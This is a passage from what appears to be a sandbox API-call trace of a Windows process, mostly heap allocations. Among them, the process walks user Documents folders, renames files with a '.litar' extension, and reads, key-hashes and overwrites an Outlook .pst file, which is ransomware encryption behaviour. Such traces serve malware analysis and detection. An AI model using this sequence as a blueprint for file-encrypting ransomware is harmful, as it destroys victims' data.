lpMsg=0x398ff08) returned 0 [0125.806] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30843f0 [0125.806] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0125.806] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.806] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.806] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.806] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.806] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.806] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.806] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.806] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.806] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.806] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.806] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.806] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.806] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.807] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.807] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.807] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.807] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.807] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.807] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.807] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.807] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.807] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.807] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.807] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.807] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.807] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.807] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0125.807] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.807] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.807] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.807] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.807] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.807] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.807] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.807] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.807] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.807] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.807] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.807] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.807] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.807] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.807] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.807] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.807] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.807] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.808] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.808] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.808] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.808] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.808] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.808] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.808] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.808] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.808] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.808] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.808] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.808] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.808] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.808] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.808] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.808] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.808] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.808] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.808] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.808] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.808] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.808] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.808] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.808] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.808] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.808] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.808] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.808] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.808] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.808] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.808] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.808] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.809] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.809] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.809] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.809] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.809] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.809] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.809] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.809] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.809] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.809] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.809] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.809] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.809] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.809] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.809] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\") returned="My Pictures\\" [0125.809] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0125.809] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0125.809] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0125.809] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0125.809] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0125.809] PathFindFileNameW (pszPath="") returned="" [0125.809] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2ce30, ftCreationTime.dwHighDateTime=0x1d4caf5, ftLastAccessTime.dwLowDateTime=0x304f3680, ftLastAccessTime.dwHighDateTime=0x1d4d091, ftLastWriteTime.dwLowDateTime=0x304f3680, ftLastWriteTime.dwHighDateTime=0x1d4d091, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TWsD3", cAlternateFileName="")) returned 0xffffffff [0125.809] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0125.809] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0125.810] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\") returned="My Shapes\\" [0125.810] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0125.810] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0125.810] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0125.810] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0125.810] PathFindFileNameW (pszPath="") returned="" [0125.810] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0125.810] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.810] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0125.810] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini") returned=".ini" [0125.810] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9e9e4460, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9e9e4460, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites.vss", cAlternateFileName="FAVORI~1.VSS")) returned 1 [0125.810] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss") returned=".vss" [0125.810] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\favorites.vss"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.811] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=0) returned 1 [0125.811] CloseHandle (hObject=0x624) returned 1 [0125.811] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\favorites.vss"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\favorites.vss.litar")) returned 1 [0125.812] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 1 [0125.812] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 0 [0125.812] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0125.812] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0125.812] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0125.812] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\") returned="My Videos\\" [0125.812] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0125.812] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0125.812] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0125.812] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0125.812] PathFindFileNameW (pszPath="") returned="" [0125.812] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 0xffffffff [0125.813] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0125.813] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0125.813] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\") returned="Outlook Files\\" [0125.813] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0125.813] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0125.813] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0125.813] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0125.813] PathFindFileNameW (pszPath="") returned="" [0125.813] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0125.813] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.813] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x6228cf40, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="voeimd@djhreuu.uhd.pst", cAlternateFileName="VOEIMD~1.PST")) returned 1 [0125.813] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst") returned=".pst" [0125.813] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.814] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=271360) returned 1 [0125.814] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.816] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x423da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.816] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.817] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.817] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x25805, lpOverlapped=0x0) returned 1 [0125.822] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.822] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.822] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.822] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.822] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a06b8) returned 1 [0125.823] CryptCreateHash (in: hProv=0x6a06b8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.823] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.823] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.823] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.823] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.823] GetLastError () returned 0x0 [0125.823] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.823] CryptReleaseContext (hProv=0x6a06b8, dwFlags=0x0) returned 1 [0125.823] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.823] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25810) returned 0x30fa0b0 [0125.824] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.824] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.824] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x25800, lpOverlapped=0x0) returned 1 [0125.824] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.824] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x42400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.824] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee28 [0125.824] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30fa0b0 [0125.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30fa0b0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.825] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa4e0 [0125.825] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.825] 